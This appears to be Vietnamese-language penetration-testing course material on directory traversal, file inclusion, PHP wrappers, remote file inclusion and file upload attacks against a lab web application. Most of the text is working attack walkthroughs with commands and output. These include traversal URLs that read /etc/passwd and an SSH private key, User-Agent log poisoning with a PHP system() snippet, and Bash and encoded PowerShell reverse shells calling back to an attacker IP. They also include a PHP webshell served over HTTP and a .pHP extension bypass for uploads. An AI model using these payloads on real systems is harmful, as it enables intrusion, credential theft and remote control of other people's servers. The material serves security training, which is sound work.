Common Web Application Attacks
Common Web Application Attacks
Directory Traversal, File Inclusion, File Upload và OS Command Injection — theo quy trình kiểm thử có hệ thống trong môi trường lab được ủy quyền.
Bản đồ nội dung Chương 9
Directory Traversal
Đọc file ngoài web root bằng đường dẫn tuyệt đối, tương đối và URL encoding.
File Inclusion
Phân biệt đọc file với include/execute; khai thác LFI, wrapper và RFI.
File Upload
Tận dụng file executable hoặc kết hợp upload với path traversal.
Command Injection
Từ input hợp lệ, tìm delimiter/filter bypass và chứng minh code execution.
Vì sao các lỗi này xuất hiện lặp lại?
- Web development thay đổi nhanh, dự án chịu áp lực thời gian và đội ngũ có thể thiếu kinh nghiệm bảo mật.
- Dù technology stack khác nhau, cùng một lỗi kiểm soát input và xử lý file/lệnh có thể lặp lại.
- Bốn nhóm tấn công trong chương đều bắt đầu từ việc xác định dữ liệu người dùng có thể điều khiển.
- Khai thác phụ thuộc framework, ngôn ngữ, web server, hệ điều hành và quyền của process.
Directory Traversal
Từ kiến thức đường dẫn đến việc nhận diện tham số dùng tên file, đọc file nhạy cảm và xử lý bộ lọc.
Mục tiêu học tập
Absolute / Relative
Hiểu đường dẫn tuyệt đối, đường dẫn tương đối và vai trò của ../.
Identification
Tìm parameter, link hoặc request dùng tên file làm giá trị.
Exploitation
Đọc file ngoài web root và chuyển thông tin thu được thành giả thuyết tiếp theo.
Encoding
Dùng percent encoding khi chuỗi traversal dạng rõ bị chặn.
Đường dẫn tuyệt đối
- Chỉ rõ toàn bộ đường dẫn từ root filesystem.
- Trên Linux bắt đầu bằng /, ví dụ /etc/passwd.
- Không phụ thuộc current working directory.
- Hữu ích khi ứng dụng chấp nhận trực tiếp đường dẫn đầy đủ.
Đọc /etc/passwd bằng đường dẫn tuyệt đối
kali@kali:~$
pwd
/home/kali
kali@kali:~$
ls /
bin home lib32 media root sys vmlinuz
boot initrd.img lib64 mnt run tmp vmlinuz.old
dev initrd.img.old libx32 opt sbin usr
etc
lib lost+found proc srv var
kali@kali:~$
cat /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
king-phisher:x:133:141::/var/lib/king-phisher:/usr/sbin/nologin
kali:x:1000:1000:Kali,,,:/home/kali:/usr/bin/zsh- pwd xác định current directory.
- Dấu / trước etc khiến hệ thống bắt đầu từ root.
Đường dẫn tương đối
- Được tính từ current working directory.
- ../ lùi một cấp thư mục.
- Có thể ghép nhiều chuỗi ../ để quay về root.
- Sau khi đạt root, thêm nhiều ../ không đưa ta “cao hơn” nữa.
Dùng ../ để quay về root
kali@kali:~$
pwd
/home/kali
kali@kali:~$
ls ../
kali
kali@kali:~$
ls ../../
bin home lib32 media root sys vmlinuz
boot initrd.img lib64 mnt run tmp vmlinuz.old
dev initrd.img.old libx32 opt sbin usr
etc
lib lost+found proc srv var- Từ /home/kali, một ../ đến /home.
- Hai chuỗi đến root /.
Đọc /etc/passwd bằng đường dẫn tương đối
kali@kali:~$
ls ../../etc
adduser.conf debian_version hostname logrotate.d
passwd
...
logrotate.conf pam.d rmt sudoers zsh
kali@kali:~$
cat ../../etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
king-phisher:x:133:141::/var/lib/king-phisher:/usr/sbin/nologin
kali:x:1000:1000:Kali,,,:/home/kali:/usr/bin/zsh- Ghép ../../ với etc/passwd.
- Ý nghĩa kỹ thuật không đổi: file đích vẫn là /etc/passwd.
Thêm nhiều ../ hơn mức cần thiết
kali@kali:~$
cat ../../../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
king-phisher:x:133:141::/var/lib/king-phisher:/usr/sbin/nologin
kali:x:1000:1000:Kali,,,:/home/kali:/usr/bin/zsh- Số chuỗi chỉ quan trọng cho đến khi đạt root.
- Kỹ thuật này hữu ích khi current working directory chưa rõ.
So sánh nhanh
| Thuộc tính | Absolute path | Relative path |
|---|---|---|
| Điểm bắt đầu | Root filesystem | Current working directory |
| Ví dụ | /etc/passwd | ../../etc/passwd |
| Phụ thuộc vị trí hiện tại | Không | Có |
| Ứng dụng trong kiểm thử | Thử khi parameter chấp nhận full path | Thử traversal khi base directory nằm trong web root |
Nhận diện và khai thác Directory Traversal
Đọc URL, link, parameter và behavior của ứng dụng trước khi thử traversal.
Directory Traversal xảy ra khi nào?
- Ứng dụng dùng input của người dùng để xây đường dẫn file nhưng không chuẩn hóa hoặc kiểm tra đầy đủ.
- Web root thường là base directory; trên Linux hay gặp /var/www/html/.
- Traversal cho phép truy cập file nằm ngoài web root bằng đường dẫn tương đối.
- Tác động ban đầu thường là information disclosure, nhưng file nhạy cảm có thể dẫn đến system access.
URL tiết lộ technology và parameter
https://example.com/cms/login.php?language=en.html- login.php cho biết ứng dụng dùng PHP.
- language=en.html cho thấy parameter nhận tên file.
- Thư mục cms tiết lộ ứng dụng chạy trong subdirectory.
Quy trình nhận diện parameter dùng file
Cấu hình hostname cho lab
127.0.0.1 localhost
127.0.1.1 kali
192.168.50.16 mountaindesserts.com
...- Ánh xạ hostname giúp giữ URL nhất quán trong bài thực hành.
- IP của VM có thể thay đổi; phải cập nhật theo lab đang chạy.
Mở ứng dụng Mountain Desserts
- Navigation hiển thị index.php, củng cố giả thuyết ứng dụng dùng PHP.
- Bắt đầu enumeration từ mọi link và button.
Hover các button và link
- Nhiều button chỉ quay lại chính page hiện tại.
- Không bỏ qua link ở cuối trang hoặc phần ít nổi bật.
Link Admin tiết lộ page parameter
- Preview URL cho thấy page=admin.php.
- Đây là input có giá trị là tên file — ưu tiên kiểm tra traversal/LFI.
Thông báo maintenance khi mở Admin
- Content được render trong cùng trang index.php.
- Behavior gợi ý ứng dụng đang include nội dung từ file được chỉ định.
Truy cập admin.php trực tiếp
- Thông báo giống nhau xác nhận file admin.php tồn tại.
- Có cơ sở để thay value của parameter bằng một đường dẫn khác.
Thử đọc /etc/passwd qua page parameter
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd- Chuỗi traversal dài đảm bảo quay về root.
- File đích là /etc/passwd.
Ứng dụng hiển thị nội dung passwd
- Xác nhận Directory Traversal hoạt động.
- Output cung cấp user, home directory và shell — dữ liệu để xây giả thuyết tiếp theo.
Từ /etc/passwd đến file nhạy cảm
- Đọc danh sách user và home directory từ /etc/passwd.
- Kiểm tra ~/.ssh/id_rsa hoặc file cấu hình có credential.
- Quyền của web-server process giới hạn file có thể đọc, nhưng cấu hình permission sai vẫn rất phổ biến.
- Không dừng ở “đã đọc được passwd”; hãy chuyển output thành danh sách path cần kiểm tra.
Đọc SSH private key của user offsec
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa- Home directory được suy ra từ /etc/passwd.
- Path đích: /home/offsec/.ssh/id_rsa.
SSH private key được trả về
- Browser có thể làm format output khó đọc.
- Chuyển sang curl/Burp để lấy response thô và copy key chính xác.
Lấy private key bằng curl
kali@kali:~$
curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa
...
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAz+pEKI1OmULVSs8ojO/sZseiv3zf2dbH6LSyYuj3AHkcxIND7UTw
XdUTtUeeJhbTC0h5S2TWFJ3OGB0zjCqsEI16ZHsaKI9k2CfNmpl0siekm9aQGxASpTiYOs
KCZOFoPU6kBkKyEhfjB82Ea1VoAvx4J4z7sNx1+wydQ/Kf7dawd95QjBuqLH9kQIEjkOGf
BemTOAyCdTBxzUhDz1siP9uyofquA5vhmMXWyy68pLKXpiQqTF+foGQGG90MBXS5hwskYg
...
lpWPWFQro9wzJ/uJsw/lepsqjrg2UvtrkAAADBAN5b6pbAdNmsQYmOIh8XALkNHwSusaK8
bM225OyFIxS+BLieT7iByDK4HwBmdExod29fFPwG/6mXUL2Dcjb6zKJl7AGiyqm5+0Ju5e
hDmrXeGZGg/5unGXiNtsoTJIfVjhM55Q7OUQ9NSklONUOgaTa6dyUYGqaynvUVJ/XxpBrb
iRdp0z8X8E5NZxhHnarkQE2ZHyVTSf89NudDoXiWQXcadkyrIXxLofHPrQzPck2HvWhZVA
+2iMijw3FvY/Fp4QAAAA1vZmZzZWNAb2Zmc2VjAQIDBA==
-----END OPENSSH PRIVATE KEY-----
...- curl giữ formatting của key tốt hơn browser.
- Tách nội dung từ BEGIN đến END và lưu vào file riêng.
Dùng private key để SSH
kali@kali:~$
ssh -i dt_key -p 2222 offsec@mountaindesserts.com
The authenticity of host '[mountaindesserts.com]:2222 ([192.168.50.16]:2222)' can't be established.
Are you sure you want to continue connecting (yes/no/[fingerprint])?
yes
...
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for '/home/kali/dt_key' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
...
kali@kali:~$
chmod 400 dt_key
kali@kali:~$
ssh -i dt_key -p 2222 offsec@mountaindesserts.com
...
offsec@68b68f3eb343:~$
- SSH từ chối key có permission quá rộng.
- chmod 400 dt_key giới hạn quyền đọc trước khi kết nối.
- Port SSH trong lab là 2222.
Directory Traversal trên Linux và Windows
| Nền tảng | File xác minh | Path đáng chú ý | Ký tự traversal |
|---|---|---|---|
| Linux | /etc/passwd | Home directory, SSH key, config, log | ../ |
| Windows | C:\Windows\System32\drivers\etc\hosts | IIS logs, C:\inetpub\wwwroot\web.config | ../ và ..\ |
Notes cho một finding Directory Traversal
Encoding ký tự đặc biệt
Dùng URL/percent encoding khi chuỗi traversal dạng rõ bị filter hoặc chuẩn hóa.
Traversal dạng rõ bị trả 404
kali@kali:/var/www/html$
curl http://192.168.50.16/cgi-bin/../../../../etc/passwd
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
kali@kali:/var/www/html$
curl http://192.168.50.16/cgi-bin/../../../../../../../../../../etc/passwd
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>- Thêm nhiều ../ không thay đổi kết quả.
- Có khả năng web server/WAF/app chặn pattern traversal.
Vì sao encoding có thể bypass filter?
- Filter có thể chỉ kiểm tra chuỗi rõ ../.
- Request đi qua filter với biểu diễn percent-encoded.
- Sau đó web server hoặc application decode lại thành ký tự hợp lệ.
- Trong ví dụ Apache 2.4.49, dấu chấm được biểu diễn bằng %2e.
Dùng %2e để đọc /etc/passwd
kali@kali:/var/www/html$
curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
alfred:x:1000:1000::/home/alfred:/bin/bash- %2e%2e/ tương ứng ../.
- Response trả nội dung passwd, xác nhận bypass thành công.
Workflow khi payload traversal bị chặn
File Inclusion Vulnerabilities
Phân biệt đọc file với include/execute, sau đó chuyển LFI thành code execution.
Mục tiêu học tập
Difference
Directory Traversal đọc file; File Inclusion đưa file vào luồng thực thi của ứng dụng.
LFI
Include file cục bộ và tận dụng Log Poisoning để thực thi code.
Wrappers
Dùng php://filter và data://.
RFI
Include file từ HTTP/SMB khi cấu hình cho phép.
Local File Inclusion (LFI)
Từ parameter dùng file đến Log Poisoning, command execution và reverse shell trong lab.
Directory Traversal và File Inclusion
| Đặc điểm | Directory Traversal | File Inclusion |
|---|---|---|
| Mục tiêu | Đọc nội dung file ngoài web root | Include file vào code đang chạy |
| File PHP | Thường lộ source nếu được đọc thô | Thường bị execute bởi PHP engine |
| Khả năng RCE | Gián tiếp qua credential/key | Có thể trực tiếp nếu include file chứa code |
| Câu hỏi cần kiểm tra | Server có trả nội dung file không? | File được hiển thị hay thực thi? |
Chuỗi Log Poisoning
Đọc Apache access.log
kali@kali:~$
curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/apache2/access.log
...
192.168.50.1 - - [12/Apr/2022:10:34:55 +0000] "GET /meteor/index.php?page=admin.php HTTP/1.1" 200 2218 "-"
"Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0"
...- Log cho thấy method, URL, status và User-Agent.
- User-Agent là field client có thể sửa trước khi gửi.
Request gốc trong Burp Repeater
- Gửi request từ HTTP History sang Repeater.
- Giữ request baseline trước khi thay User-Agent.
PHP snippet chèn vào User-Agent
<?php echo system($_GET['cmd']); ?>- Snippet nhận lệnh qua parameter cmd.
- Hàm system thực thi lệnh và echo hiển thị output.
Poison User-Agent trong Repeater
- PHP code được gửi trong header User-Agent.
- Apache ghi chuỗi này vào access.log.
Path include access.log
../../../../../../../../../var/log/apache2/access.log- Đưa path log vào parameter page.
- Thêm &cmd=... để truyền lệnh cho snippet.
Output lệnh qua Log Poisoning
- Response chứa output của process command.
- Xác nhận code trong log đã được runtime execute.
Lệnh có khoảng trắng gây lỗi
- Input ls -la không chạy đúng do space trong URL.
- Cần encode space hoặc dùng kỹ thuật phân tách phù hợp.
Encode space bằng %20
- Thay space bằng %20.
- Output xác nhận command có parameter được thực thi.
Từ command execution đến interactive access
- Chọn reverse shell phù hợp hệ điều hành và shell thực thi.
- Bash one-liner có syntax không được Bourne shell hỗ trợ đầy đủ.
- Bọc command trong bash -c để ép thực thi bởi Bash.
- URL-encode toàn bộ ký tự đặc biệt trước khi đưa vào request.
Bash TCP reverse shell one-liner
bash -i >& /dev/tcp/192.168.119.3/4444 0>&1- Cập nhật IP/port theo Kali và lab đang chạy.
- One-liner này cần Bash syntax.
Ép thực thi reverse shell bằng bash -c
bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"- Bọc one-liner trong dấu ngoặc kép.
- Giảm rủi ro command bị chạy bởi sh không tương thích.
Reverse shell đã URL-encode
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22- Encoded payload được đưa vào parameter cmd.
- Giữ nguyên từng ký tự như tài liệu gốc.
Payload reverse shell trong cmd parameter
- Request chứa path log và encoded reverse-shell command.
- Khởi động listener trước khi gửi request.
Nhận reverse shell bằng Netcat
kali@kali:~$
nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.3] from (UNKNOWN) [192.168.50.16] 57848
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
www-data@fbea640f9802
:/var/www/html/meteor$
ls
admin.php
bavarian.php
css
fonts
img
index.php
js- Listener nhận kết nối từ target.
- Prompt cho thấy shell chạy dưới user www-data.
LFI trên Windows và framework khác
- Với XAMPP, Apache logs thường nằm trong C:\xampp\apache\logs\.
- PHP snippet dùng system có thể hoạt động trên Windows; command phải đổi theo hệ điều hành.
- LFI còn có thể xuất hiện trong ASP/ASPX, JSP, Perl hoặc Node.js tùy implementation.
- Path, file log và code snippet phụ thuộc runtime và web server.
PHP Wrappers
Đọc source PHP bằng filter và thực thi code bằng data wrapper khi cấu hình cho phép.
Hai wrapper trọng tâm
php://filter
Áp dụng filter/encoding lên resource; hữu ích để lấy source PHP thay vì execute.
data://
Nhúng dữ liệu plaintext hoặc base64 trực tiếp vào luồng include để thực thi.
Include admin.php theo cách thông thường
kali@kali:~$
curl http://mountaindesserts.com/meteor/index.php?page=admin.php
...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Maintenance</title>
</head>
<body>
<span style="color:#F00;text-align:center;">The admin page is currently under maintenance.- PHP server-side code không xuất hiện trong response vì đã được execute.
- HTML bị thiếu gợi ý còn nội dung PHP ẩn.
php://filter không encoding
kali@kali:~$
curl http://mountaindesserts.com/meteor/index.php?page=php://filter/resource=admin.php
...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Maintenance</title>
</head>
<body>
<span style="color:#F00;text-align:center;">The admin page is currently under maintenance.- Kết quả giống include bình thường.
- Không filter/encode thì PHP code vẫn được execute.
Base64-encode source admin.php
kali@kali:~$
curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=admin.php
...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+TWFpbn...
dF9lcnJvcik7Cn0KZWNobyAiQ29ubmVjdGVkIHN1Y2Nlc3NmdWxseSI7Cj8+Cgo8L2JvZHk+CjwvaHRtbD4K
...- Dùng convert.base64-encode.
- Response chứa chuỗi Base64 thay vì thực thi source PHP.
Decode source PHP và tìm credential
kali@kali:~$
echo "PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+TWFpbnRlbmFuY2U8L3RpdGxlPgo8L2hlYWQ+Cjxib2R5PgogICAgICAgIDw/cGhwIGVjaG8gJzxzcGFuIHN0eWxlPSJjb2xvcjojRjAwO3RleHQtYWxpZ246Y2VudGVyOyI+VGhlIGFkbWluIHBhZ2UgaXMgY3VycmVudGx5IHVuZGVyIG1haW50ZW5hbmNlLic7ID8+Cgo8P3BocAokc2VydmVybmFtZSA9ICJsb2NhbGhvc3QiOwokdXNlcm5hbWUgPSAicm9vdCI7CiRwYXNzd29yZCA9ICJNMDBuSzRrZUNhcmQhMiMiOwoKLy8gQ3JlYXRlIGNvbm5lY3Rpb24KJGNvbm4gPSBuZXcgbXlzcWxpKCRzZXJ2ZXJuYW1lLCAkdXNlcm5hbWUsICRwYXNzd29yZCk7CgovLyBDaGVjayBjb25uZWN0aW9uCmlmICgkY29ubi0+Y29ubmVjdF9lcnJvcikgewogIGRpZSgiQ29ubmVjdGlvbiBmYWlsZWQ6ICIgLiAkY29ubi0+Y29ubmVjdF9lcnJvcik7Cn0KZWNobyAiQ29ubmVjdGVkIHN1Y2Nlc3NmdWxseSI7Cj8+Cgo8L2JvZHk+CjwvaHRtbD4K" | base64 -d
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Maintenance</title>
</head>
<body>
<?php echo '<span style="color:#F00;text-align:center;">The admin page is currently under maintenance.'; ?>
<?php
$servername = "localhost";
$username = "root";
$password = "M00nK4keCard!2#";
// Create connection
$conn = new mysqli($servername, $username, $password);
...- Decode bằng base64 -d.
- Source lộ MySQL username/password trong file cấu hình.
Ý nghĩa của php://filter
- Giúp đọc source của file executable mà LFI thông thường sẽ execute.
- Source code có thể lộ credential, endpoint, path, query hoặc logic kiểm tra quyền.
- Có thể dùng absolute hoặc relative path trong parameter resource.
- Sau khi decode, ghi lại chính xác file, encoding và dữ liệu nhạy cảm tìm thấy.
Thực thi ls bằng data://
kali@kali:~$
curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"
...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
admin.php
bavarian.php
css
fonts
img
index.php
js
...- Nhúng PHP snippet URL-encoded vào data://text/plain.
- Output liệt kê file trong web root.
data:// với PHP snippet Base64
kali@kali:~$
echo -n '<?php echo system($_GET["cmd"]);?>' | base64
PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==
kali@kali:~$
curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"
...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
admin.php
bavarian.php
css
fonts
img
index.php
js
start.sh
...- Encode snippet trước để tránh một số filter dạng chuỗi.
- Parameter cmd=ls được truyền vào code đã nhúng.
Workflow kiểm thử wrapper
Remote File Inclusion (RFI)
Include file từ hệ thống do tester kiểm soát qua HTTP hoặc SMB.
Điều kiện và đặc điểm của RFI
- Ít phổ biến hơn LFI vì target phải cho phép URL include.
- Trong PHP, allow_url_include cần được bật.
- File remote được include và execute trong context của web application.
- Tình huống dễ gặp hơn khi ứng dụng vốn tải library hoặc data từ remote system.
Nội dung simple-backdoor.php
kali@kali:/usr/share/webshells/php/$
cat simple-backdoor.php
...
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
...- Webshell nhận command qua cmd.
- File có sẵn trong /usr/share/webshells/php/.
Serve webshell bằng Python http.server
kali@kali:/usr/share/webshells/php/$
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...- Current directory trở thành web root.
- Target phải truy cập được IP/port của Kali.
Include webshell remote và chạy ls
kali@kali:/usr/share/webshells/php/$
curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.119.3/simple-backdoor.php&cmd=ls"
...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<pre>admin.php
bavarian.php
css
fonts
img
index.php
js
</pre> - Parameter page trỏ đến URL trên Kali.
- Parameter cmd=ls được webshell thực thi.
Chuỗi RFI tối thiểu
File Upload Vulnerabilities
Đánh giá nơi lưu file, cách kiểm tra extension và khả năng kết hợp với lỗ hổng khác.
Ba nhóm rủi ro file upload
Executable upload
File được web server/runtime execute sau khi upload.
Chaining
Upload kết hợp Directory Traversal, XXE hoặc XSS.
User interaction
File độc hại cần người dùng mở, ví dụ tài liệu có macro.
Upload file có thể thực thi
Tìm upload mechanism, fingerprint stack, kiểm tra filter và xác minh vị trí file.
Tìm upload mechanism ở đâu?
- CMS: avatar, media library, blog post hoặc file attachment.
- Website doanh nghiệp: career form, case file, customer portal hoặc tài liệu hỗ trợ.
- Upload có thể không hiển thị rõ; cần crawl và kiểm tra request.
- Fingerprint framework/language để chọn đúng loại webshell.
Mountain Desserts có upload form
- Admin link đã được thay bằng form upload ảnh.
- XAMPP icon và nội dung trang gợi ý Windows + PHP/XAMPP.
Tạo test.txt làm baseline
kali@kali:~$
echo "this is a test" > test.txt- File vô hại dùng để xác minh upload có hoạt động không.
- Không bắt đầu bằng webshell khi chưa hiểu cơ chế lưu file.
Upload test.txt thành công
- Cơ chế không giới hạn ở image như mô tả.
- Cần xác định đường dẫn file sau upload.
simple-backdoor.php bị block
- Thông báo cho biết PHP extensions bị blacklist.
- Không biết filter code ra sao nên cần thay đổi một yếu tố mỗi lần.
Các giả thuyết bypass blacklist
- Thử extension PHP ít phổ biến như .phps hoặc .php7.
- Thử thay đổi chữ hoa/chữ thường nếu blacklist chỉ chứa chuỗi lowercase.
- Kiểm tra khả năng rename sau upload.
- Luôn xác minh runtime có thực sự execute extension biến thể.
Đổi .php thành .pHP để bypass
- Case-sensitive comparison của blacklist bị vượt qua.
- Ứng dụng báo file được lưu trong thư mục uploads.
Chạy dir qua webshell đã upload
kali@kali:~$
curl http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=dir
...
Directory of C:\xampp\htdocs\meteor\uploads
04/04/2022 06:23 AM <DIR> .
04/04/2022 06:23 AM <DIR> ..
04/04/2022 06:21 AM
328 simple-backdoor.pHP
04/04/2022 06:03 AM
15 test.txt
2 File(s) 343 bytes
2 Dir(s) 15,410,925,568 bytes free
...- URL trỏ đúng thư mục /meteor/uploads/.
- Output dir xác nhận server-side code execution.
Từ upload đến code execution
Mở listener trên port 4444
kali@kali:~$
nc -nvlp 4444
listening on [any] 4444 ...- Khởi động listener trước khi kích hoạt reverse shell.
Vì sao encode PowerShell one-liner?
- Reverse shell chứa nhiều dấu ngoặc, quote, pipe và ký tự đặc biệt.
- PowerShell dùng Unicode bytes trước khi Base64 encode cho parameter -enc.
- Encoding giảm lỗi truyền qua URL, nhưng không thay đổi ý nghĩa lệnh.
- IP và port phải khớp listener trên Kali.
Encode reverse shell bằng PowerShell
kali@kali:~$
pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS>
$Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.119.3",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
PS>
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
PS>
$EncodedText =[Convert]::ToBase64String($Bytes)
PS>
$EncodedText
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0
...
AYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
PS>
exit- Lưu one-liner trong $Text.
- Chuyển sang Unicode bytes rồi Base64.
Gửi encoded one-liner qua webshell
kali@kali:~$
curl http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=powershell%20-enc%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0
...
AYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA- Dùng powershell -enc.
- Space được URL-encode thành %20.
Reverse shell Windows được nhận
kali@kali:~$
nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.3] from (UNKNOWN) [192.168.50.189] 50603
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.50.189
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.50.254
PS C:\xampp\htdocs\meteor\uploads>
whoami
nt authority\system- ipconfig xác nhận target IP.
- whoami cho thấy process chạy với quyền nt authority\system.
Các webshell có sẵn trên Kali
kali@kali:~$
ls -la /usr/share/webshells
total 40
drwxr-xr-x 8 root root 4096 Feb 11 02:00 .
drwxr-xr-x 320 root root 12288 Apr 19 09:17 ..
drwxr-xr-x 2 root root 4096 Feb 11 01:58 asp
drwxr-xr-x 2 root root 4096 Apr 25 07:25 aspx
drwxr-xr-x 2 root root 4096 Feb 11 01:58 cfm
drwxr-xr-x 2 root root 4096 Apr 25 07:06 jsp
lrwxrwxrwx 1 root root 19 Feb 11 02:00 laudanum -> /usr/share/laudanum
drwxr-xr-x 2 root root 4096 Feb 11 01:58 perl
drwxr-xr-x 3 root root 4096 Feb 11 01:58 php- Kali cung cấp webshell cho ASP, ASPX, CFM, JSP, Perl và PHP.
- Chọn file phù hợp technology stack của target.
Checklist kiểm thử executable upload
Upload file không thực thi
Khi không thể chạy file, kiểm tra path traversal và khả năng ghi đè file hệ thống.
Tư duy chaining
- Unrestricted upload có thể không tạo system access nếu file chỉ được lưu.
- Tìm lỗ hổng thứ hai: path traversal trong filename, overwrite hoặc processing bug.
- Upload trùng tên có thể tiết lộ file đã tồn tại hoặc behavior của backend.
- Blind overwrite trên hệ thống thật có thể gây mất dữ liệu — cần Rules of Engagement.
Phiên bản mới của Mountain Desserts
- Ứng dụng vẫn có upload nhưng URL không còn index.php.
